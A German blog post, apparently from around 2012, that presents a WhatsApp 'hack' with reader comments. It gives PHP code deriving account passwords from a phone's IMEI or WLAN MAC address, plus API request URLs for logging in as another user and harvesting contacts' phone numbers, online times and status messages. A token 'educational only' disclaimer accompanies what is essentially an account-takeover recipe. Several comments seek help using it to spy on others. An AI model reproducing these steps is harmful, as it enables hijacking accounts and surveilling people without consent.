whatsapp_icon_vector (1)

Die Sicherheit von WhatsApp ist für’n Arsch (“heute Hacken wir WhatsApp über die WhatsApp API”)

WhatsApp, der extrem beliebte Instant-Messaging-Dienst, über den pro Tag über 1 Billion eine Milliarde Nachrichten versendet werden, hat ein gewaltiges Sicherheits-Problem. Und zwar nicht das Problem, von dem man schon vor einigen Monaten gehört hat. Darüber möchte ich im folgenden Artikel schreiben.

Die Verschlüsselung von WhatsApp

Seit August diesen Jahres ist klar geworden, das WhatsApp die Nachrichten seiner Nutzer nicht verschlüsselt überträgt. Wenn man sich in einem öffentlichen W-Lan aufhält und über dies Nachrichten mittels WhatsApp verschickt, können andere Leute ein- und ausgehende Nachrichten und Dateien mitlesen und mitscheinden. Als dies an die Öffentlichkeit kam, versicherte man seitens WhatsApp die Nachrichten in Zukunft zu verschlüsseln – allerdings ohne Details über das eingesetzte Verschlüsselungsverfahren zu nennen. Inzwischen ist klar: die eingesetzte Verschlüsselung wurde geknackt.

- Werbung in eigener Sache –
Neuer Prepaid-Anbieter: allNet-Flat, 500MB Traffic bis Drosselung im Vodafone-Netz für gerade mal 10 Euro / Monat! Und die Rufnummer kann auch mitgenommen werden. Wie das geht? ABCHECKEN!

Authentifizierung mit den WhatsApp-Servern

Die Klient-Authentifizierung WhatsApp’s ist ein Disaster. Unter Android ist das Passwort ein einfacher Hash der umgedrehten IMEI-Nummer:

$myImei = "112222223333334"; // Beispiels-IMEI

// die umgedrehten (strrev()) und mit einem MD5 
// gezogenem Hash (md5()) IMEI ergibt unter Android das Passwort.
$androidWhatsAppPassword = md5(strrev($myImei));

Aber auch auf dem iPhone wird interessant verschlüsselt:

$myWlanMAC = "AA:BB:CC:DD:EE:FF"; // Beispiels-WLAN-Mac-Adresse
$iphoneWhatsAppPassword = md5($myWlanMAC.$myWlanMAC); // ..doppelt genommen ergibt mit MD5 das Passwort

Der Benutzername ist in beiden Beispielen die Handynummer – ein Attackierer kennt diese wahrscheinlich. Und IMEI und Mac-Adresse? Die IMEI kann mit der einfachen Eingabe von *#06# im Handy angezeigt werden. Die Mac-Adresse wird mit allgemein bekannten Sniffer-Tools in 5 Minuten ausgelesen. Und mit diesen einfachen Schritten habe ich das Werkzeug, den WhatsApp Account eines jeden Nutzers zu übernehmen und alles mitzulesen. [Wichtige Hinweisnote: du darfst es nicht ausführen - es ist verboten. Das heißt: du darfst keine WhatsApp-Accounts hacken. Dieser Artikel ist nur als Information zu schulischen Zwecken gedacht.]

Es gibt ein paar klasse Leute, die das Prinzip des Reverse Engineering verstanden und praktiziert haben und uns einen OpenSource WhatsApp Klienten zur Verfügung stellen, der – in PHP geschrieben – auf https://github.com/venomous0x/WhatsAPI zum freien Download steht.

Hast du auf deinem Smartphone (noch) WhatsApp installiert? Dann kannst du es selbst einmal in meinem kleinen WhatsApp-Passwort-Generator testen. Hast du dein Passwort generiert, kannst du den folgenden Link mit deinen Variablen aufrufen:

https://r.whatsapp.net/v1/exist.php?cc=$countryCode&in=$phoneNumber&udid=$password

Ersetze dabei $countrycode durch deine Ländervorwahl (in Deutschland 49), $phoneNumber durch deine Handynummer (ohne die anführende 0, sprich bei 0174… ist $phoneNumber einfach 174…) und $password durch dein generiertes Passwort. Wenn du eine folgende XML-Antwort zurückbekommst…

<?xml version="1.0" encoding="UTF-8"?>
<exist>
  <response status="ok" result="xxxxxxxxxxx"/>
</exist>

…hast du es geschafft und bist praktisch “drin”. Jetzt lassen sich zum Beispiel allerhand Daten auslesen.

Mit dem folgenden Request ($friendX ist übrigens die Nummer deines WhatsApp-Freundes – so können auch ohne einen weiteren Request Informationen zu zig Nummern geholt werden)…

https://sro.whatsapp.net/client/iphone/iq.php?cd=1&cc=$countrycode&me=$yournumber&u[]=$friend1&u[]=$friend2&u[]=$friend3 (...)

…bekommen wir ein folgendes XML-Dokument zurück:

<plist version="1.0">
  <array>
    <dict>
      <key>P</key>
      <string>+49174xxxx</string>
      <key>T</key>
      <integer>17423368</integer>
      <key>S</key>
      <string>Kämme gerade meine Haare.</string>
      <key>JID</key>
      <string>0174xxxx</string>
    </dict>
  </array>
</plist>

Dabei ist wohl der Parameter P die Handynummer des Benutzers, T (time?) die Uptime des Benutzers (“Wann das letzte mal online?”), S die momentane Statusnachricht des Benutzers (meine – hööhöö :D) und JID ist die Jabber-ID.
Mit der oben angesprochenen WhatsApp-PHP-Api können zudem Nachrichten und mehr verschickt werden.

Und jetzt?

Erst einmal kein WhatsApp benutzen – bitte. Zwar bin ich auch nicht unbedingt ein Fan davon, jeglichen Nachrichten-Quatsch per Facebook-Messages abzuwickeln, imho ist es aber im Moment die bessere Wahl – zumindest so lange bis WhatsAPP die Sicherheitslücken behoben hat und die Passwörter seiner Benutzer richtig verschlüsselt.

flattr this!

36 Comments

  1. Kurze Korrektur: “one billion” im englischen entspricht “einer Milliarde” im Deutschen. Ein Fehler, der gerne und oft gemacht wird.

  2. Funktioniert das noch?
    Muss ich es über ein smartphone machen oder geht es über den PC?
    Merkt jemand das man online ist?
    Muss ich unbedingt im gleichen WLAN sein?

  3. also ich erhalte: status ok sowie die nr.

    wie aber gehts danach weiter?

    “…hast du es geschafft und bist praktisch „drin“. Jetzt lassen sich zum Beispiel allerhand Daten auslesen.”

    gehe mal davon aus, dass das via programm nur möglich ist. kann allerdings kein link bzw. download finden.
    wäre super nett, wenn man jemand kurz helfen könnte!!!

    danke!

  4. hallo franky

    wie kann ich direkten kontakt zu dir aufnehmen?
    es ist äusserst wichtig und dringend für mich…für dich wird es sehr positiv sein!!…
    besten dank!
    lg, jasmin

    1. Hi franky! Gibt es schon einen neuen link der funktioniert für whats app?dieser hier funktioniert leider nicht mehr und ich brauche den wirklich sehr sehr sehr dringend, geht um etwas wichtiges! Bitte um Antwort! Freundliche Grüße Jacky

  5. Hey franky bin gerade total aufgelöst auf deine seite gestoßen , es ist wahrscheinlich eher unsinn hier etwas zu posten da du dich mit sicherheit eh nicht bei den ganzen leuten melden kannst … ich versuch es einfach wär super wenn du genie dich mal melden würdest lg ..

  6. Oh Mann alle auf’n Spionagefilm. :-/ Mädels des is der falsche Ort hier f euch. In erster Linie sollte die Info zum eigenen Schutz sein u um seine eigene PRIVATSPHÄRE zu bewahren..und nicht um Leute auszuspionieren,egal um was es geht..ES IST PRIVATSPHÄRE. Und unter anderem eine Straftat diese zu verletzen…

  7. hi =)) hi =))

    also ich hab d ein ganz blödes problem.. ichhabe dS KOMPLETTE NETZT DURCHSTÖBERT FINDE ABER KEINE HILFE
    meine simkarte ist gesperrt und ichhatte trotzallem whats app oben u damit über wlan gearbeitet. die karte habe ich iwann sperren lassen u konnte somit NUR über wlan schreiben was kein problem war da ich dieses handy zuhause hielt. so u jetzt zum problem: mein galaxy s2 hatte nen zusammenbruch der software… ich musste es komplett zurücksetzten somit ging alles verloren auch die app was eh kla ist. ich will mich nun aber wieder MIT der gesperrten nummer einloggen bzw schreiben u es wird ein code verlangt den ich per sms od call bekomme was in meinem fall ja nicht geht da die karte schon gesperrt ist. ich brauche die app aber genau für die nummer da es eine alte nummer ist u ich nur mit dieser nummer kontakt zum papa meines kleinen habe.wie dem auch sei.. wie kann ich diesen code umgehn bzw gibt es ne möglichkeit? alles wie support od sonstwas geht gar nicht … hab schon 100 mails geschrieben .. bitte bitte um rasche antwort

    1. habe den
      – WhatsApp IMEI- und WLan-MacKey – Kodierer –
      ausprobiert – hat aber nicht funkeioniert,
      geht das nicht mehr ??
      oder hat sich was geändert?
      oder bin ich zu doof?
      habe ein smartphon – hab die imei eingegeben – passwort erstellt –
      dann die http-Zeile modifiziert – dann kommt aber …Mit dieser XML-Datei sind anscheinend keine Style-Informationen verknüpft. Nachfolgend wird die Baum-Ansicht des Dokuments angezeigt.

  8. hallo franky,
    kann man denn nun schon ohne risiko (auspioniert zu werden) whatsapp nutzen,
    oder klafft die sicherheitslücke noch immer – oder gibt es neue?
    über eine antwort würde ich mich sehr freuen, da ich den dienst ansich sehr praktisch finde.
    beste grüße, wolfgang

  9. Ich habe es nicht ausprobiert, aber es wäre schon sehr erschreckend zu sehen, wenn es tatsächlich funktioniert. Auf diese Weise stellt sich wieder einmal heraus, dass ein solcher Messenger absolut nicht sicher ist.

  10. Hallo, auch ich hab ein dringendes Problem mit meinem whatsapp Account und wäre dir sehr dankbar, wenn du dich mit mir per Mail kurz in Verbindung setzten könntest. Vielen lieben Dank vorab!

Hinterlasse eine Antwort

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind markiert *

Du kannst folgende HTML-Tags benutzen: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>